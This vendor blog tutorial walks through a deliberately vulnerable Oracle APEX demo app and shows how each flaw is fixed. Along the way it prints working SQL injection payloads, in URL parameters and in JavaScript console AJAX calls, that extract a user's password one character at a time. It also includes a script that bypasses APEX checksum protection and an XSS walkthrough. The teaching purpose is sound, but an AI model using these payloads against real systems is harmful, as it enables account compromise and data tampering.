Securing Oracle Apex – Big Bad Blog – Part 1

We have created the ‘Big Bad Blog’ based on common security problems that we have found in many of the applications that we have reviewed. This APEX 4.1 application is freely available to download. Import into your own workspace on or your own site (Do not use in shared workspace or sensitive systems). As we work through the security conditions and the appropriate fixes you should be able to identify various coding practices that are unsafe.

Followers of this series will have the opportunity to try out our ApexSec product and work through the examples to swiftly identify security problems within the application.

Before we start ensure that you have downloaded the free version of ApexSec by signing up for the ApexSec Portal and accessing the relevant version for your platform from the Security Console section. If you want to try out the exploits then you should have imported the Big Bad Blog into a workspace and run it.

Page 1 – Messages

This page is the core page of the Big Bad Blog. It is typical of the type of code which is a old and complicated, nobody dares to touch it and all changes have been bolted on in time. The entire page should be re-designed but there is no time, the biggest we have seen exceeded 150 lines of code.

Running ApexSec on this page reveals several security issues. This is quite typical for APEX code which has been coded in this manner.

As our application is quite small and we have compacted a lot of vulnerabilities into it, these vulnerabilities might seem obvious to you. Imagine a large app with 60+ pages, how long would it take? This is where ApexSec’s cost savings can be found.

SQL Injection – Cursor Open Statement

As this is considered the most serious of web based vulnerabilities we will cover these first. In ApexSec we will select the ‘Cursor Open’ SQL Injection entry on the tree. ApexSec will load offending SQL into the SQL viewer and enable you to move through the issues with the navigation arrows.

ApexSec shows quite clearly where the problematic concatenation occurs, in this case the items P1_AUTHOR and P1_SHOW are unsafely concatenated onto SQL which is passed into the open for statement.


In this case by simply manipulating the URL, the injection can occur, this would lead to the compromise of a user’s password.<your app id>:1:<your session id>::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,1,1) = 'b')\

The request above, would display the blog entries if the guessed password character was correct. Then we can move through the password of the bob account by amending the substr statement. Paste these in immediately after the session id.

::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,1,1) = 'a')\

::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,1,1) = 'b')\

::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,2,1) = 'a')\

::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,3,1) = 'a')\

::NO::P1_SHOW:\5 AND EXISTS (select username from users where username = 'bob' and substr(password,3,1) = 'b')\

The password is found to be ‘bab’ and the account is compromised.

Correcting the code

In this case the fix should be to apply the using clause to the open for to properly bind the variable (in this case it is slightly more tricky due to the dynamic nature of the query.

SQL Injection – Execute Immediate Statement

Examining the code in the delete_message page process reveals a very similar vulnerability with the execute immediate statement.

In this case it is the AJAX call that is vulnerable with a very similar concatenate error as with the open for vulnerability.


The easiest way to fire AJAX calls to APEX is to use the jquery interface. This can be done using the JavaScript console (in Firefox; Tools->Web Console, in chrome; Tools -> JavaScript Console)

The following JavaScript typed into the console will delete message 261 if the password begins with ‘a’. The exploit is exactly the same as previously but with a slightly different attack vector.

var get = new htmldb_Get(null,<app id>,'APPLICATION_PROCESS=delete_message',1);get.addParam('x01','<message id> AND EXISTS (select username from users where username = \'bob\' and substr(password,1,1) = \'a\')');
gReturn = get.get();

<app id> Should be set to the application id, <message id> should be retrieved from the HTML source of the page. Searching for “Alice Greeting” should reveal the following source (The message id is in bold);

<B>Alice Greeting</B>
by <i>alice</i>
<a href="javascript:location.reload(true)" onClick="JavaScript:var get =
htmldb_Get(null,<app id>,'APPLICATION_PROCESS=like_message',1);get.addParam('x01','241');gReturn = get.get();">Like</a>
<p>Hi, I am Alice a normal user that can create posts, my password is

So a similar sequence as before should reveal the password one character at a time. Submit the following;

var get = new htmldb_Get(null,<app id>,'APPLICATION_PROCESS=delete_message',1);
get.addParam('x01','241 AND EXISTS (select username from users where
username = \'bob\' and substr(password,1,1) = \'a\')');
gReturn = get.get();

Reload the page, nothing happens (password does not begin with ‘a’). Then:

var get = new htmldb_Get(null,<app id>,'APPLICATION_PROCESS=delete_message',1);
get.addParam('x01','241 AND EXISTS (select username from users where
username = \'bob\' and substr(password,1,1) = \'b\')');
gReturn = get.get();

Reload the page, the “Alice Greeting” message will be deleted. therefore the first character of the password is ‘b’.

Correcting the code

Again it is a case of properly binding the variable into the execute immediate statement as follows.

Cross-Site Scripting

The first two instances of cross-site scripting are quite simple, outputting direct to the HTTP stream via htp.p calls without escaping is generally a bad idea.

Here the two variables title and author are pulled from the cursor and output directly, this leads to the vulnerability. If we forward to the third instance we can see a similar error but this time it is the result of a concatenation.

All three instances are exploitable but we will concentrate on the third instance.


Note: Some browsers may block this very simple XSS (notably chrome), code should not rely on the features of browsers to protect the site.

As we found the password for ‘bob’ earlier we might as well abuse this account. Login with username ‘bob’ and password ‘bab’. To exploit this cross-site scripting vulnerability we need to change the full name using the My Details Tab in the Big Bad Blog.

Then when we ‘like’ a post in the blog the vulnerability will executed. This is an over simple example of an exploit but this is a blog about detection, not exploitation.

Correcting the code

Any variables that arrive from the database or from user input should be escaped using the htf.escape_sc function, this will ensure that any HTML tags and features are adequately escaped before outputting to the stream.

Page Access Protection

APEX provides protection against URL manipulation through Session State Protection where the URL is protected by a checksum, so the parameters cannot be modified. However, this should not be used to mitigate the underlying dangerous PL/SQL and SQL Injection issue. In fact, if we enabled SSP on this page the issue would still be exploitable by setting the P1_SHOW variable on any other page that did not have SSP enabled.

On the Messages page security settings we will set Page Access Protection to ‘Arguments Must Have Checksum’ and at the same time turn off the Autocomplete feature.

Item Protection

Using Item Protection on P1_SHOW and P1_AUTHOR will only protect these items from URL tampering. We will set the item protection to ‘Checksum Required’.

Any attempts to manipulate these values from the URL as earlier in this tutorial will be correctly blocked by the APEX framework. However utilising the client side framework we can still submit the changes;


Using the JavaScript console, we can change the pull down combo box to be an input box in the browser, there are many ways to achieve the same effect.

a = document.getElementById('P1_SHOW');b = document.createElement('INPUT');b.setAttribute('type', 'text');b.setAttribute('size', '85'); =; =;a.parentNode.appendChild(b);a.parentNode.removeChild(a)

We can then submit the SQL injection as before. It is worth noting that all the security features of APEX are now fully activated, only the deep analysis engine of ApexSec will find the outstanding vulnerabilities in the code.

Public Page

ApexSec has no way of knowing if you intended to make the page public, usually there is only a handful of pages that are to be served to unauthenticated users. The Messages page should be public and this report item can be ignored.

Other Problems

There are logic problems that ApexSec will not find (and never will), these are logic flows where the application does not operate as intended.

One of these for example is the delete_message page process. The way that the process is coded means that any user can delete other users messages, this is clearly not the intention of the application.

The login username is displayed on posts, this would be highlighted in our security reviews. Once again an automated scan would not help here.

The passwords are kept in the clear in the database, this is clearly bad practice and cannot be detected currently by ApexSec.

Using ApexSec does not remove the requirement for a manual review. With the issues such as those documented above, eliminated by developers through use of ApexSec throughout the development lifecycle, the manual review effort can be more focused and cost effective.


Although the code we are showing can be easily discarded as “we wouldn’t code like that” and “that’s not how to do it”, these are based on real world examples. Some APEX code is old and because “it just works” nobody has taken a fresh look at the security posture.

At Recx we perform manual security audits of APEX code, we have developed tools and techniques over the past 18 months which we consider to be currently unique in the world. ApexSec is the automation of a selection of these techniques. We do not profess to be APEX feature experts or Oracle experts; we have one single focus, security. We devote our time into securing APEX code via detection and analysis.

If your business runs APEX code in production systems, if you have had non-permanent staff coding in your code base then a code review will give you peace of mind that the code running on your servers at least meets your required security standard.